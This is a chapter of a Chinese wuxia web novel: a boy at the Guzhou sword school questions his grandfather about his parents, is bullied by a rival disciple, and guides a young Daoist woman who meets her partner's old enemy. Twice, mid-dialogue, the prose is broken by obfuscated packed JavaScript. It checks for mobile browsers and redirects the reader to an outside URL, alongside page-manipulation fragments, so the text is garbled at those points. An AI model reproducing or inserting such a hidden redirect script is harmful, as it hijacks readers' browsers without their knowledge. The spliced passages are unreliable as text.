走到一处路口,雨馀凉和古叶千分开了,道别后向各自的家所在的方向走去。 还没到家门口,雨馀凉就看见一道熟悉的身影。 那道身影矮小、佝偻,头顶白发稀疏,正是雨馀凉的爷爷雨休。雨休正和路边卖菜的老板说着话,菜摊老板是个中年人,一脸的不耐烦,雨休却还絮絮叨叨地说着。一边说,一个不注意,篮子里的菜掉出来不少,雨休又极缓极缓地蹲下来,低头捡着掉落在地上的菜。菜摊老板只坐在一旁,并不帮忙。雨休捡菜时,一个不注意,又碰倒了先前斜靠在一边的山药,雨休“唔”一声,头不住左右微微晃动。 雨馀凉顿时觉得心里不是滋味。他大步走过去,雨休已经把菜捡完了,雨馀凉离得近了些,听见雨休站起来后还在说:“老板人很好,卖的东西价格也公道,下次一定还来光顾生意……”老板已经在一边翻起账本查看,完全没在听的样子。 雨馀凉走到雨休背后,叫道:“爷爷。” 雨休闻言,先是一怔,然后缓缓回头,看见是雨馀凉,顿时露出笑脸,道;“今天这么早就回来啦。” 雨馀凉嗯了一声,自然而然地接过雨休手中提的菜,将几根山药夹在手肘,跟雨休并排往家走去。 夜晚,爷孙俩在饭桌上吃饭。 雨馀凉又想起那个梦,问雨休道:“爷爷,我六岁之前,到底发生过什么?” 雨休端起碗喝了口稀饭,道:“什么发生过什么?你六岁之前,就是普普通通地长大,跟其他小孩子一样。” 雨馀凉又跟雨休说起自己今早做的梦,道:“梦里那个地方,我从来没去过,所以我就想,这会不会跟我六岁之前的记忆有关。” 雨休呵呵笑起来,道:“梦里的地方,你又怎会去过?” 雨馀凉道:“有时我会梦见自己在家中,有时我又梦见自己在门派的练武场,还有的时候我会梦见自己走在街道上、府淀桥上,这些都是现实中存在的地方。可今天早上我做的那个梦,梦里火焰燃烧的声音、雨声都那么清晰,十分真实,可我从来没有经历过这样的情景。” 雨休看着桌上两个盛菜的碗碟,沉默一会,道:“梦里都是光怪陆离的。从没去过的场景,我也梦见过,这不是什么稀奇事,你不用放在心上。” 雨馀凉不说话了,他勉强接受了这个解释,埋下头吃了几口菜。 隔了半晌,雨馀凉又道:“我爹娘,究竟是什么样的人?” 雨休笑道:“这个问题,你曾经不是问过?你爹娘都是浪迹天涯的侠客,生下你之后有事要去办,就不得不离开了,总有一天,他们会回来的。” 雨馀凉又沉默了,就如雨休所说,这个问题他已问过很多遍,但雨休每一次的回答,都让他觉得如隔靴搔痒一般。 这次也是一样。 但他这次不想轻易将这个话题放过去了。 雨馀凉声音忽然大了些,问道:“可他们为什么这么多年都不回来看我?” 雨休道:“因为那件事实在棘手。况且一件事情棘手,就意味着它与更多的事牵扯,这些牵扯出来的事又牵扯出更多的事,就像家里的文竹一样,剪不断,理还乱。所以耗费的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717278|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间也多。” 雨馀凉听了雨休的话,忍不住看向了家里养在窗边的文竹。雨休养的文竹长势极好,夜色之中,其实看不清什么。只是被屋内灯光照到的部分,确实是粗细藤蔓盘绕牵结在一起,竟如一张密网一般,这么一眼望去,着实千头万绪,无法厘清。 雨休说的很有几分道理,况且雨休神色平静,让雨馀凉觉得他说的就是实话。忽然,雨馀凉心头笼罩起一片难言的阴翳,去办的事很棘手,又这么多年音讯全无,那他的爹娘,是否还…… 雨馀凉在内心嘲讽自己胡思乱想的毛病又犯了,他回过神,三两口把碗里的饭菜扒进嘴里。 饭后清洗完碗筷,雨休将雨馀凉叫到身边,忽然从木柜中取出了一把带鞘长刀。 雨馀凉睁大眼睛,内心鼓噪起来,竟忍不住惊呼出声。他预感到雨休要说什么,但内心过于兴奋又使他不能继续想下去,只有等雨休亲口说出来。 谷州刀派正如派名,乃传授刀法的门派。弟子们练习或上场比武,都是用的木刀竹刀,刀尖刀刃打磨圆润,轻易划伤不了人。只有师父师伯师叔们才有真刀,虽有真刀,但在门派中教导弟子时也是用木刀或竹刀。就算谷州刀派没有弟子只能用竹刀木刀的规定,不说神兵利器,稍好一点的刀剑价格也不算低廉,对他们这些尚在学艺的弟子更是如此,所以只好时常去兵器铺看看解馋。 谷州府武道不兴,整座城只有一家兵器铺子。谷州刀派的弟子闲来无事,都爱去那逛逛。铺子的掌柜人好,就算这些弟子只是看看不买,也从不驱赶他们。 雨馀凉不擅长武功,也不喜欢武功,他如今身在谷州刀派的原因,只因为爷爷雨休从年轻是就是谷州刀派藏书阁的管理者。雨休自身武功也不怎么高明,谷州刀派似乎上上下下都不大看得起雨休这个孤僻古怪的老头。但雨馀凉清楚,雨休在武学理论的钻研上造诣极深,只是对武林中人来说,理论再好也只是纸上谈兵,最终还是看重能否真刀实枪地打赢别人。 身在武林门派,就算不会武功也算武林中人,雨休似乎很希望雨馀凉成为一个跟自己不一样的、武功很厉害的人。 雨馀凉对打来打去无甚兴趣,但他倒是能从武学理论上感到些许趣味,也会被武器兵刃所吸引。谷州府的兵器铺子,他也常去。看到造型优美的刀剑,有时也忍不住幻想自己拿着它们帅气地出招。 古叶千曾不止一次地在他面前表现出想要一把属于自己的真刀的强烈意愿,不想这样一把刀此时竟出现在了自己面前。 雨休笑道:“凉儿你看,这是什么?” 雨馀凉心中激荡,道:“这是……一把刀,一把真刀……” 雨馀凉看向雨休,雨休笑着将刀往他手中递去。雨馀凉伸手接过,握住刀柄往外一抽,银白的刀刃便完全显现在烛光之下。雨馀凉一瞧之下爱不释手,问道:“爷爷,你就在我们谷州府买的?就是那家铺子?” 雨休笑道:“是啊。” 雨馀凉喜道:“怎么突然就买了这个?” 雨休没有直接回答他这个问题,只道:“凉儿,你想不想离开谷州府?” 雨馀凉呆住了,看着雨休,愣是没说出话来。除好友古叶千外,他对谷州刀派的人和事并无多少眷恋,甚至还很想早些离去。但谷州府毕竟是他从小长大的地方,也是雨休生活了几十年的地方。雨休突然说要离开,他一时不知道爷爷是否是在跟他开玩笑。 雨休道:“爷爷跟你说,最近爷爷揽了趟活,有位贵人,很看重我的才能。前段时间,他问我有没有兴趣随他去绵作继续为他主人做事,我说我要考虑一番,其实主要是想来问问你的意见。怎么样,凉儿,你想搬家去绵作吗?” 见雨馀凉呆坐原地不说话,雨休继续道:“绵作也是个大城,繁华不亚于谷州府。更重要的是,绵作离临蓟那可就很近了,那片地方跟谷州府完全不同,在这里你要买兵刃也只能去唯一一家铺子,种类还少。而在那些地方,处处有门派帮会,步步是江湖中人,不但兵器铺子到处都是,种类还比这里多得多。咱们武林中人,总是要往那些地方去的。到了那儿,再给你找个好师父传你真正上乘的武功。” 听雨休这么说,雨馀凉也逐渐兴奋起来,兴奋中又有些不安,道:“我……有点想去。” 雨休听了,笑道:“好,好好。” 接下来二人谈论的话题,不免便是兴奋地规划起之后在绵作的生活。雨休在谷州刀派管藏书阁几十年,酬劳也只刚好够维持爷孙二人的温饱而已,如今雨休替贵人做事,想是报酬丰厚,雨休才愿意追随那人远去绵作,也有了余钱给雨馀凉买他一直想要的真刀。 爷孙俩说了一阵,天色已晚,也就各自去睡了。洗脸洗脚后,雨馀凉又拿出刀赏玩一阵,一会拔出鞘看,一会收回鞘看,越看越爱。观了半晌,小心翼翼地将刀收回刀鞘,横放在桌上,便上床睡去。 第二天早上,雨馀凉去到门派中看大较分组。他倒是希望自己早点比完,早死早超生,最好就被分在今天下午,再不济明天上午也可,千万不要拖到后天,若是拖到后天,那么今明两天都会在持续的紧张中度过。每年大较,他就是看别人在台上比试自己也会紧张到手麻腿软,那滋味一点都不好受。 雨馀凉挤进人群,走到告示牌前,一行一行地看去,终于在第三天上午那几行看到了自己的名字,不仅如此,自己的对手还是谢岚星。 雨馀凉感到内心极其疲倦,自己这运气,怕什么还真的来什么。这还不算完,说来可笑,冤家路窄这个词像是为他量身定制。 谢岚星与他同一时期拜入谷州刀派门下,只因为谢岚星比他小三岁,所以师父让谢岚星叫他一声“师兄”。师弟谢岚星与他一直过不去,从他七岁进入谷州刀派学艺时就是如此,那时谢岚星虽只有四岁,就已经会露出坏笑然后往他身上抹泥巴。 其实这二人各自的长辈就有龃龉,谢岚星的爷爷是如今谷州刀派掌门赵恬的师兄,在赵恬之前,谢岚星的爷爷才是掌门。如今雨馀凉这一代弟子的师父师伯师叔都是那位谢掌门,以及赵恬和其他几位师兄弟的弟子。论辈分,雨休跟谢掌门和赵恬是一辈的,他们曾拜在同一个师父门下学艺,学艺时不知二人之间发生了什么,总之直到谢掌门死,两人都一直不和。 雨休也是如今还在谷州刀派的老一辈弟子中唯一一个没有收徒的——诚然,他就算收徒也没人想拜他为师。雨休在门派里的辈分是高,只是谷州刀派上自掌门,下至雨馀凉这辈年轻弟子,都不把这个身手差劲的老头当回事。 不知道之前那位谢掌门跟自己孙子灌输了什么,又或者两人天生犯冲。谢岚星似乎格外关注雨馀凉,也喜欢找雨馀凉的不愉快。好几次,有时是雨馀凉跟其他弟子比试,有时是回答师父抽问,雨馀凉都见到谢岚星眼光在他身上转了几转,随即凑到与自己要好那名弟子的耳朵边说悄悄话,接着两人就发出一阵低低的笑声。 雨馀凉呆立了半晌,不知道与谢岚星比试那天会发生什么。 后面有人叫道:“这位师兄你看完了吗?可以让让吗?后面还有很多同门要看。” 雨馀凉回过神来,才意识到自己还处于闹哄哄的人群中,连忙道:“啊,好、好。”说着赶紧退开,后面那人踏上一步,站在了雨馀凉原先站的位置。 雨馀凉又挤出人群举步离开,喧嚷逐渐在身后远去。 到了下午,弟子们先是整整齐齐地站在较武场中,聆听掌门说了一大段开场白后,今年的春日大较就正式开始了。 雨馀凉朝观武台上看去,想看清临蓟来的那位贵人的长相。那位琥沙派掌门被谷州刀派安排坐在正中间,赵恬赵掌门反而坐在他旁边相陪。但隔得太远,只依稀见到是个身形挺拔清健的中年男子,身后站着一男一女,应该是他的徒儿或门人。 每年到大较这几天,谷州刀派较武场除了看台上坐满了人,其他地方就算没有坐的位置,人们也不介意站着看。观看大较的不仅有谷州刀派的门人,谷州府其他各行各业的人有空也会来看,里三层外三层地将整个较武场围个水泄不通,这时是谷州刀派一年中人最多的时候。有的是看热闹的,对这些不会武功的人来说,练家子打架那叫一个好看。还有些是门中弟子的父母等亲属。有的弟子家中就他一个习武的,恰好亲戚又多,大较这天除了父母,七大姑八大姨都来掠阵。这些叔啊姨的还把自己的孩子带来,好几个小豆丁在场外看台上扯着嗓子喊“我哥哥更厉害!”、“我姐姐更厉害!”场内比武,场外小朋友们比嗓门,一时间场内场外都在较量。较武场周围插满彩旗,迎风招展。人声嘈嘈,沸反盈天,端的是热闹非凡。 雨休是从不会来看的,可能是身在门派几十年早就没有新鲜感了,也可能是他并不想跟门派中其他人碰面。雨馀凉曾经问过雨休为什么不来观看比试,雨休道:“凉儿希望我来么?要是希望我来的话,我就来看凉儿比试的那场。”雨馀凉忙道:“没有没有,我就是想问问爷爷为什么不去。”鉴于自己年复一年在大较糟糕的表现,他确实只是单纯好奇原因,并没有希望雨休来看。 雨休当时是怎么回答的来着?好像是说,就谷州刀派这两下子,实在乏味,没有看的必要。 雨馀凉跟古叶千一处坐在看台上。雨馀凉看着较武场中比武台,一轮轮同门上去又下来,又看向身旁的古叶千,古叶千正捧着一本小说看得有趣。雨馀凉再一次佩服古叶千的淡定,问道:“你在看什么小说?”说罢举起装水的竹筒喝了一口。古叶千抬头,笑道:“《修武奇情》。” 雨馀凉差点一口水呛出来,大庭广众之下,四周如此闹闹嚷嚷,他还能若无其事地看情色小说,问道:“情痴教主真的写得那么好?” 古叶千一脸灵魂受到了涤荡的表情:“情痴教主写的东西,没的说,就是好。” 雨馀凉道:“你是明天上午比?” 古叶千道:“是的。” 雨馀凉其实知道古叶千是明天上午比试,先前看比试安排时他也看到了古叶千的名字。只是此时雨馀凉心里紧张,又无法静下心来做其他事情,明知故问罢了。 每场比试胜负已定后,看台上下都会爆发出一阵喝彩,有时见台上弟子打得惊险好看,周围也时不时响起叫好声、惊异声。就在这样的声音中,雨馀凉又看向观武台,只见掌门赵恬正和琥沙派掌门说话,那位掌门究竟是什么模样,依旧看不真切。 4. 大较(二) 古叶千揉揉自己的后腰和臀部,愤愤道:“臭小子下手真狠,哎哟嘶——我的屁股,你看,轻轻一挨就痛!”他又转怒为喜,道:“不过我好歹也摔了他一屁股,左师叔门下的第一弟子,被我古叶千摔了个屁股墩儿,哈哈,哈哈,我能出去说一年,就算输了也高兴!” 雨馀凉本来从昨天大较开始就满心紧张,又羡慕古叶千已经比完了,此刻听到他说这几句话,也不禁笑起来,道:“你真的不要紧吗,身上这么痛,还跟我出来到处走。” 古叶千道:“你是不知道,我现在根本不敢坐下,一坐下屁股就跟针刺一样痛。” 雨馀凉道:“那你趴着休息也是好的。” 古叶千笑道:“我好不容易比完了,身上虽然痛,心里却高兴得不得了,想到后面还有那么长的假,根本趴不住,就算趴下了,也会忍不住在床上乱滚,这么一滚,不又压着屁股了?还不如约你出来走走。馀凉你还是想回去看大较么?” 雨馀凉摇摇头道:“不,我待在那里也是紧张,还不如出来透透气。” 两人在街上河边逛了一两个时辰,古叶千到底身上有伤,走久了支持不住,跟雨馀凉道了别就回家了。雨馀凉还想一个人再在外面待会,正坐在桥亭中看着河面出神时,旁边突然爆发出一阵笑声。 雨馀凉转头看去,只见谢岚星正和一名弟子嘻嘻笑道:“馀娘,馀娘?馀娘是什么娘?有多娘?” 他们怎么也出来了? 雨馀凉心下一沉,知道他们是在笑古叶千。古叶千说话鼻边音不分,平日里叫雨馀凉的名字,确实是这样。 谢岚星又道:“那天我听到雨老儿在叫‘凉儿’,‘凉儿’,我还不知道他在叫什么,之后才明白过来,哦哦哦原来是凉儿,我还以为是‘娘儿’!”两人肩膀不停耸动,又是一顿大笑。 雨馀凉觉得他们笑得真夸张,想起身离开,但又觉得自己不该就这么逃跑也似地走了,于是定定地坐在那儿,眼睛盯着河面,要看他们之后还待怎样。 旁边那名弟子笑道:“你快别说了,当心人家回去告妈妈。” 谢岚星道:“师弟,你糊涂了,娘儿没有妈妈,也没有爹爹。” 雨馀凉噌的一下站起。 谢岚星道:“哟,娘儿生气啦!” 雨馀凉胸口起伏,道:“我有爹,也有娘,你嘴巴放尊重些。” 另一名弟子笑容稍稍收敛了点,谢岚星却还继续道:“可怜的娘儿,谁这么骗你,让你一直活在谎言之中?哦,不用想都知道,一定是雨老儿这么跟你说的。”他顿了顿,突然高声笑道:“雨老儿自己都是个老光棍,连儿子都没有,哪里来的孙子?” “你——!!!” 雨馀凉失去了理智,不管不顾地就要冲上去打谢岚星,却被另一名弟子一把扯住衣衫后领。这名弟子快速变招,顺势扭住雨馀凉双臂,反背在身后。 雨馀凉只觉颈上一勒,接着双臂剧痛,怎么也挣脱不开了。 这一招是水南十三路擒拿手第六路中的第八式,在水南都是作为入门基础教给初学武功的人。这招招式简单,学起来容易,要躲开也容易,然而一旦被这招擒住,就算是武功高强之人也难以挣脱。所以认得这招的人,往往都是躲开以避其锋芒。其实这名弟子实力跟雨馀凉相差不多,只是雨馀凉心中气急,全副心思都在谢岚星身上,压根来不及反应,当真就被制住。 谢岚星双手重重搭在雨馀凉肩上,发出啪的一声脆响,道:“娘儿师兄,再怎么说咱们也是习武之人,你怎么跟菜市场里打架的一样?” 雨馀凉双臂刚被抓住时尖锐的剧痛直冲天灵盖,直接被激出了眼泪,他知道若谢岚星看到定会嘲讽他一番,且以后都会拿这件事出来嘲讽,所以一直低着头,并且仍感到酸痛源源不断地从手臂传上来。 谢岚星的声音响在头顶上方:“要打,明天有的是机会,舞台大着呢。我会让你在那么多那么多人面前,好好出丑。” 突然之间,雨馀凉感到双臂失去了钳制,两人嘻嘻哈哈地走远了。这之后过了良久,雨馀凉才把头抬起来。 他失魂落魄地走在河边,一种被侮辱和欺骗的气苦萦绕心头,脑海中反复回荡着那句“雨老儿自己都是个老光棍,连儿子都没有,哪里来的孙子?” 忽然一道清脆的女声在身侧响起:“这位小兄弟,敢问附近可有刀剑铺子?” 雨馀凉转头看去,一道俏生生的身影映入眼帘。 只见眼前的少女约莫跟自己差不多年纪,正笑望着他。看她打扮,似道姑又不似道姑。说她不是,她穿着道袍,发髻也是梳成道姑的式样。说她是,这少女又似乎打扮得花俏了些。只见她发髻后插着木槿绢花,水红色的深浅花瓣如烟如雾,又如同凤蝶翩跹欲飞的翅膀。 她两鬓各梳下一绺顺直长发,道袍本就放量甚大,她在道袍外又笼了一件半透明的纱衣。整个人站在风中,襟带飘飘,确是仙风道骨,清气骤生,可这仙气中又有着蕴藉的、丝丝缕缕的娇俏,使她虽作道姑打扮,看上去却不像玄门中人。 这道姑正是山鬼。她与河伯昨日被狱卒冲散,两人分开前说好在谷州府汇合。可鱼晚衣来到谷州府后,才发现谷州府比自己想象的大,大得多。 这可不好找人。 昨天情势危急,她与河伯只来得及约好在谷州汇合,却没说在哪里碰面。山鬼在谷州府穿街走巷,正自烦恼,突然间福至心灵,决定找个人问问哪里有兵器铺。往周围一看,刚好雨馀凉就在不远处,于是上前问路。 雨馀凉勉强定了定心神,道:“你先到沿华街,里面的第三条巷子……” 山鬼笑道:“沿华街又在哪里啊?” 雨馀凉于是将该如何从这里走到那细细跟她说了,还跟她说了两条路线,这两条路线距离差不多,都可以走。山鬼一边听一边点头,又问:“敢问谷州府还有没有其他兵器铺子?” 雨馀凉道:“没有了,谷州府的兵器铺只此一家。” 山鬼大喜,武林人士行走江湖,兵刃乃保全性命第一要物。河伯到了谷州府头一件事一定是去买剑,就算到了兵器铺没碰上河伯,她也可以问问掌柜是否有与河伯相似的人来过。这比跟无头苍蝇似的乱转可好得多了。 山鬼又向雨馀凉确认了一遍路线,雨馀凉见她脸上略微露出不确定的神色。心想,此处离兵器铺着实还有一段路,这姑娘不是本地人,太阳就快下山了,若她直到天黑都找不到该怎么办?她又是一个人,女孩子一个人在夜晚陌生的街道上行走……他虽然因为先前谢岚星的事万分气恼伤心,但此刻却觉得自己不能抛下这个女孩不管,道:“我带你过去吧。” 山鬼喜形于色道:“真的吗?” 雨馀凉见她如此反应,心里一乐,顿觉心中阴霾被这少女春阳般的笑容驱散了不少,不禁也笑道:“真的,走吧。” 山鬼脚步雀跃地跟上来,喜笑颜开道:“谢谢你,谢谢你!” 两人并排走着,一路上,山鬼都在不停地开启话题,根本没有出现两人无话可说的情况。雨馀凉完全不属于健谈的人,就是跟古叶千在一起,有时也是沉默着行走一路。但眼前这女孩子就是能说个不停,他也不时回上一两句。奇怪的是,他并没有感到不适或局促,也没有感到山鬼在很用力地寻找话题,一切都十分自然。 行了一段路,山鬼问道:“你是谷州刀派的弟子?” 雨馀凉吃了一惊,道:“你怎么知道?” 山鬼笑道:“你腰牌上不是写着?” 雨馀凉往腰间看去,这才发觉今天下午出门忘记将腰牌解下来了。这木质腰牌谷州刀派弟子人手一个,写明了弟子姓名,从属哪位师父门下。 雨馀凉有些窘迫,道:“这几天大较,所以系着。” 山鬼道:“那你是什么时候比?” 雨馀凉随口道:“明天。” 山鬼望着天空道:“真好,我也有些怀念从前大较的日子了。” 雨馀凉惊道:“你也是武林中人?” 山鬼微笑道:“……是。” 雨馀凉先前看这少女娇美,也未佩戴武器,只以为是个普通的道姑,不想竟是武林同道——虽然他觉得称自己为武林中人是给自己脸上贴金。雨馀凉在很久以前就想明白了自己将来不是能够踏足武林的料,从谷州刀派出来后,也许做做生意摆摆摊,也许给人干干活帮帮佣,反正不是继续做“武行”的事,他这辈子都再也不想跟人拳脚相向,也不知道打来打去的意义何在。 但听这少女所言,似乎大较对她来说都是老早以前经历的事,可她看上去明明跟自己差不多大。 可能是她早早地就学成出师,不用再参加大较。也可能是学不下去,中途就离开了门派,后一种雨馀凉在谷州刀派也见过不少。 雨馀凉纠结一阵,还是好奇,问:“那你现在是在门派还是……” 山鬼道:“早就没在门派啦,现在在做自己的事。” 雨馀凉道:“嗯,人的一生能做自己想做的事,就算其他东西都失去,也很幸福了。” 山鬼没有再开口说话了。雨馀凉猛地尴尬起来,心想该死,对方不过今天刚和自己认识,自己怎么把话题带得这么沉重?正自烦恼时,山鬼突然咯咯咯地笑起来。雨馀凉感到奇怪,问道:“这位姑娘,怎么了?” 山鬼笑道:“这位小哥哥,有没有人跟你说过你长得很好看。” 雨馀凉先是一怔,回过神来后颇有些不好意思,说有也不是,说没有也不是。他确实常被人说“长得好看”、“模样俊”,但他对此一直没有实感。同门弟子也有私下叫他“绣花枕头”的,所以他也从未感到这是一件让他高兴的事或是值得骄傲的本钱。但此刻被这个女孩子夸赞,雨馀凉心里却不知为何甜丝丝的,第一次为这件事感到有些开心,口中却仍是道:“姑娘,莫开玩笑。” 山鬼突然道:“你叫什么名字?” 雨馀凉心里突的一跳,道:“怎么问这个?”他们萍水相逢,他只是给她带了一截路,似乎并没有告知名字的必要。 山鬼笑道:“明天我来你们门派看你大较,知道你叫什么比较容易找到你。你是明天上午还是下午?” 雨馀凉想说不用了,毕竟他那两下子着实没啥可看的,说不定还要出丑,但“上午”两个字却脱口而出。 山鬼道:“那就说好了,明天上午我来。” 二人说话间,已经到了沿华街口。雨馀凉突然觉得,从河边到沿华街的路其实并不长。 二人还未走到街内的第三条巷子,就远远看见巷口立着两道人影。 此刻夕阳西下,红光漫天,二人深黑的影子被拉得老长,投映在石板路面上。 山鬼看清其中一道人影是河伯,心中大喜,大声呼道:“邢大哥!”一边加快了脚步向河伯走去。 河伯身形一动,略微侧头,肃然道:“你来了。” 自从山鬼与河伯搭档以来,河伯如此严肃的样子屈指可数。山鬼心中疑惑,朝河伯对面那人看去。 对面那人是个看上去四十岁左右的汉子,身形劲瘦有力,就算不看他左手拿着的那把极修长的直刀,也知他多半是习武之人。这汉子背上除背着一顶斗笠外,还斜背着一把用布袋裹着的长条形物什。他面色黝黑,左半边脸一道疤痕从眉尾一直拉到嘴角,为他平添了几分狰狞。 山鬼问道:“他是谁?” 河伯冷冷道:“哼,这位就是六年前砍去了我的右手小臂,将我送入九寒山牢的朋友。” 山鬼听了河伯之言,目光陡然凌厉起来,双脚略微迈开,不动声色做好了打斗的准备。 此人能让河伯吃如此大亏,武功定然不低。山鬼武功不及河伯,不知二人合力能否将此人拿下。想到此处,不由感慨真是一波未平,一波又起。好不容易将河伯从九寒山牢带出,却刚好碰上郑宝卿,这之后狱卒无端发狂,她好不容易与河伯重新会合,河伯又说眼前这人是他的仇家。 只见这疤脸汉子神色漠然,道:“这位兄台从方才就对我纠缠不休,我与兄台素不相识,又如何能与兄台结仇?”听他说话,语气中竟略有疲态。 河伯冷笑一声道:“兄弟做了就做了,何必不承认?敢做不敢当,这就出来行走江湖么?” 疤脸汉子听他这么说,也冷笑了两声,道:“你如此一口咬定是我六年前断你手臂再送你入狱,又有何凭据?” 河伯道:“六年前在小菟村,你虽遮掩了相貌,可没想到我天生异能,能感知到不同习武之人内功真气的差别。你身上的内功真气跟六年前那人一模一样,不是你还能是谁?”他顿了顿,“让我被关进九寒山牢的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鱼晚衣突然道:“邢大哥,他说得没错。我们还是先低调行事的好,等到时机成熟时,再报仇不迟。” 河伯嘴唇紧闭,默然不语。只死死盯着那疤脸汉子。 那疤脸汉子避开河伯眼神,看了一眼后者的断腕,目光又从山鬼和雨馀凉脸上轻飘飘扫过,并未停留。突然足尖一抵,身子已纵起在半空,随后只见他一翻身,身影便消失在一旁房屋之后。 雨馀凉见了这手轻功,内心忍不住惊叹。 见那人离开,山鬼紧绷的身体这才放松下来。她突然想到雨馀凉还在旁边,转过头去,对雨馀凉道:“小兄弟,谢谢你给我带路,如今已经到了地方,请回去吧。” 雨馀凉一怔,道:“可兵器铺还要再往巷子里面走……” 鱼晚衣道:“我找兵器铺也是在找人,现在人找到了,就不用去兵器铺啦。” 雨馀凉不由得看向山鬼旁边的河伯,只见后者身材高大,眉目疏朗,不知为何忽然间有些失落。 临别时,山鬼在他身后大声道:“明天上午我来,在这先预祝你赢得比试!” 河伯感到奇怪,问道:“你来?来什么?” 山鬼仰头看向河伯道:“我答应了这位小兄弟,明天要去看他大较比武。” 河伯道:“我的小姑奶奶,你可别忘了,我们不是到这里玩的。” 山鬼道:“顺便去看看而已。明天休整一天,采买些路上需要的东西,后天一早就启程。” 河伯倒也觉得合理,他也想再去探探那疤脸汉子的踪迹,就算不跟他动手,知道些底细也是好的。 山鬼道:“那我们现在去找客栈?”说着便曳开步子。 此刻华灯初上,谷州府的街道上依旧热闹,山鬼与河伯一边走一边说着话。 山鬼道:“剑买到了?” 河伯将一柄剑从背后取下,右肘往剑鞘上拍了拍:“这不是?” 山鬼道:“我本以为这次行动只是将你从牢里带出来而已,谁想平白牵出这许多枝节。”她压低了声音:“重云门,郑宝卿,突然发狂的狱卒,蛊毒,笛声……还有那个要求我们把他也带出来的少年。” 河伯道:“干!说起他我就来气,辛辛苦苦带出来,结果死了。要不是他,之后哪能生出这么多事。” 山鬼道:“这么多事撞在一起,难道是巧合吗?背后是卫氏在捣鬼,还是有新的势力介入?” 河伯道:“看上去,水南内部似乎也出了点问题,毕竟蛊只可能来自蛮疆。” 山鬼沉吟一阵,最终长叹了口气,道:“啊——我不想思考这些了,回去都报告给少主,结合水西送去的情报再分析吧。” 河伯也将双手抱在脑后,望着漆黑的夜空道:“也是。”他走了几步,突然想起什么,道:“听闻谷州府的烤鱼十分有名,咱俩去体验一下?” 山鬼睨他一眼:“行啊,你付账。” 河伯道:“鱼女侠,我一个刚从那种地方出来的人,一穷二白的,哪有钱啊。” 山鬼道:“之前不是给了你几两银子?” 河伯委屈道:“全用来买剑了啊,我还跟老板讲了好久的价。” 山鬼道:“我可没钱。” 河伯笑道:“你从水西千里迢迢地到水南,少主没给你个几十两银子的?” 山鬼道:“回去可是要报账的。” 河伯道:“报账是什么大不了的事?让我来,我会报。况且……少主不会多问的,他就当作是变相给咱们津贴了。谷州府啊,离水西真远,离衡泽真远,说不定以后都没机会来这里了。” 山鬼道:“……那你找找烤鱼店吧。” 河伯喜笑嘻嘻道:“得嘞。他们姓聊的财大气粗,几年前那次,你还记得不?去笼络一个照水帮,五万两银子说掏就掏,还给了那么多玉器珠宝,结果照水帮什么用场也没派上就没了。那么多银子,他们不心痛,我可替他们心痛得不得了……好啦好啦别那样瞪着我,我闭嘴行不?” 过了一会儿,河伯又道:“不过他这剑的品质也就跟普通菜刀差不多,一把菜刀才卖几十文,他就收了我四两银子,那半贯铜钱也全搭进去了,就这那老板口里还嘟嘟囔囔,要不是我急着用,这儿又只有他一家铺子,我……” 山鬼突然叫道:“哎呀糟了!” 河伯低头道:“怎么了?” 山鬼道:“那位小兄弟还没说名字呢。” 5. 大较(三) 当天晚上,雨馀凉激动得睡不着觉,突然明白了为什么其他弟子都那么期待大较时在看台上看到亲人好友的身影。 他从前以为自己不需要这些,骤然得到之时,才发现这种感觉有多么让人温暖沉醉。 躺了一会,他突然从床上窜起,来到自己屋内的书架前找了一会,取出一本书下来。此书纸页泛黄发脆,看上去十分陈旧,有些地方还有破损。 这本书严格来说其实不能算书,因为它并不是外面书坊批量刊刻售卖的,而是雨休自己书写再装订起来的集子。雨休长于武功流派的整理分类,这本册子耗费了他多年心血。按照水南、水西、水东三地划分,先对各地武学特点进行总体概述,再一个个门派地进行详解。其中还有对相似武功的辨析区分,以及对武功源流的考察。 雨休生活拮据,当年没钱给尚只有几岁的雨馀凉买小孩子看的话本之类,便把自己编写的书册拿给雨馀凉看,权当作启蒙读物。小雨馀凉也不挑,拿起一本有字的读物就开始看,早就将这本书翻来覆去看得滚瓜烂熟。不过他也只是小时候看得多,正因看得太熟,再加上随着年龄的增长对武功兴趣减淡,这本书已经被他放在书架角落里很久没拿出来过了。 反正也睡不着,不如临时突击一下。 雨馀凉以前从未对练武有过这么高的热情,连他自己都觉得有些好笑了。 不过是才刚认识的人而已。 何况他们两人,完全是两个不同世界的人。 自己又在忙活什么呢? 他虽然在心里自嘲,却又一边认真翻看起书页来。看到心领神会时,也不由自主地伸臂舒腿,摆出了对应招式。 再翻开一页,是水西无涯派。 他突然想起大较前一天自己与铎占文的争论。不知不觉间,对无涯派的几招招式便看得久了些。 第二天谷州刀派看台上,辜俊愿门下弟子聚在一处,看着分别站在比武台两边的雨馀凉和谢岚星。 铎占文摇摇头道:“这两个人都不怎样。” 精瘦招风耳弟子闻言笑道:“菜鸡互啄啊?”他顿了顿,说道:“前天我走在路上,经过一片树丛时听到谢岚星在和其他人商量说,要在和雨馀凉比试时使些办法,让雨馀凉受伤又出丑,这下可有的看了。” 那名叫做楚楚的女弟子不屑道:“无耻,我以前看谢岚星跟人交往挺客气的,没想到是这种人。那你该告诉雨馀凉,好叫他提防。” 